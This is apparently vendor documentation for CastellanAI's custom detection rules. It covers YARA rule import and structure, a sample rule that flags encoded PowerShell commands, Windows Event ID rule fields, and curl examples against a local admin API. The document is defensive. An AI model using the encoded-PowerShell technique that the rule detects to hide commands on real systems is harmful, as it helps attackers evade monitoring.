Custom Detection Rules

Create and manage custom security detection rules tailored to your environment and threat landscape.

Overview

CastellanAI supports two types of detection rules that you can customize:

Rule Type	Purpose	Management
Security Event Rules	Map Windows Event IDs to security alerts with MITRE ATT&CK techniques	API (Admin only)
Malware Rules (YARA)	Signature-based file scanning patterns	Dashboard UI

Malware Rules (YARA)

YARA rules are the primary method for creating custom file-based detections. These rules use the industry-standard YARA syntax for pattern matching.

Accessing Malware Rules

Navigate to Malware Analysis in the sidebar, then access the Detection Rules section.

Importing Custom YARA Rules

1. Click Import Rules on the Malware Analysis page
2. Upload a YARA rule file (.yar, .yara, or .txt)
3. Configure import settings:
   • Category - Classify the rule (Malware, Ransomware, Trojan, etc.)
   • Author - Rule author attribution
   • Skip Duplicates - Avoid importing existing rules
   • Enable by Default - Activate rules immediately after import
4. Click Import to add the rules

YARA Rule Structure

YARA rules follow standard YARA syntax:

rule SuspiciousPowerShell : suspicious
{
    meta:
        description = "Detects encoded PowerShell commands"
        author = "Security Team"
        severity = "high"

    strings:
        $enc1 = "-encodedcommand" nocase
        $enc2 = "-enc " nocase
        $b64 = /[A-Za-z0-9+\/]{50,}={0,2}/

    condition:
        ($enc1 or $enc2) and $b64
}

Rule Components

Component	Description
Rule Name	Unique identifier (e.g., SuspiciousPowerShell)
Tags	Classification tags (e.g., : suspicious)
Meta	Metadata including description, author, severity
Strings	Patterns to match (text, hex, regex)
Condition	Logic determining when rule triggers

Managing YARA Rules

From the Malware Analysis page, you can:

• Enable/Disable - Toggle rule activation
• View Details - See full rule content and match statistics
• Delete - Remove custom rules (built-in rules cannot be deleted)
• Filter - Search by name, category, threat level, or status

Security Event Rules

Security Event Rules map Windows Event Log entries to security alerts with MITRE ATT&CK technique mappings.

Rule Structure

Each Security Event Rule contains:

Field	Description
Event ID	Windows Event ID (e.g., 4625 for failed logon)
Channel	Log source (e.g., "Security", "PowerShell/Operational")
Event Type	Security classification (e.g., "AuthenticationFailure")
Risk Level	Severity: low, medium, high, critical
Confidence	Detection confidence score (0-100)
Summary	Human-readable description
MITRE Techniques	Mapped ATT&CK technique IDs
Recommended Actions	Response guidance for analysts
Priority	Rule priority for conflict resolution
Tags	Categorization tags

Pre-built Rules

CastellanAI includes 50+ pre-built Security Event Rules covering:

• Authentication Events - Logon success/failure (4624, 4625)
• Privilege Escalation - Special privilege assignment (4672)
• Account Management - User/group changes (4720, 4732)
• Process Execution - PowerShell, scheduled tasks (4104, 4698)
• Service Installation - New services (7045)
• Security Policy - Audit policy changes (4719)

Creating Custom Security Event Rules

Custom Security Event Rules are managed via the API. Requires Admin role.

Create a Rule:

curl -X POST "http://localhost:5000/api/security-event-rules" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "eventId": 4688,
    "channel": "Security",
    "eventType": "ProcessCreation",
    "riskLevel": "medium",
    "confidence": 70,
    "summary": "New process created",
    "mitreTechniques": ["T1059"],
    "recommendedActions": ["Review process details", "Check parent process"],
    "isEnabled": true,
    "priority": 100,
    "description": "Monitors for suspicious process creation",
    "tags": ["execution", "custom"]
  }'

Update a Rule:

curl -X PUT "http://localhost:5000/api/security-event-rules/{id}" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "riskLevel": "high",
    "confidence": 85
  }'

Delete a Rule:

curl -X DELETE "http://localhost:5000/api/security-event-rules/{id}" \
  -H "Authorization: Bearer YOUR_TOKEN"

API Endpoints

Endpoint	Method	Description
/api/security-event-rules	GET	List all rules with optional filtering
/api/security-event-rules/{id}	GET	Get specific rule
/api/security-event-rules	POST	Create new rule (Admin)
/api/security-event-rules/{id}	PUT	Update rule (Admin)
/api/security-event-rules/{id}	DELETE	Delete rule (Admin)
/api/security-event-rules/refresh-cache	POST	Refresh rule cache (Admin)

Best Practices

For YARA Rules

• Start specific - Begin with narrow patterns, then broaden if needed
• Test thoroughly - Validate rules don't cause false positives
• Use metadata - Include author, description, and severity in meta section
• Leverage community rules - Import from trusted sources like YARA-Rules repository

For Security Event Rules

• Map to MITRE ATT&CK - Always include relevant technique IDs
• Set appropriate risk levels - Reserve "critical" for high-confidence threats
• Include recommended actions - Help analysts respond quickly
• Use tags - Categorize rules for easier filtering

General Guidelines

Do	Don't
Test rules before enabling	Enable untested rules in production
Start with high-confidence detections	Create overly broad rules
Document rule purpose in description	Leave rules without context
Review rule performance regularly	Ignore high false positive rates
Use appropriate severity levels	Mark everything as critical

Availability

Feature	Small Business	Medium Business	Enterprise
Built-in YARA rules	Yes	Yes	Yes
Import YARA rules	Yes	Yes	Yes
Built-in Event rules	Yes	Yes	Yes
Create Event rules via API	-	Limited	Unlimited
Rule performance analytics	-	-	Yes

What's Next?

• Threat Detection - Understand detection methods
• MITRE ATT&CK - Learn about technique mappings
• Malware Scanning - File-based threat detection
• Taking Action - Response procedures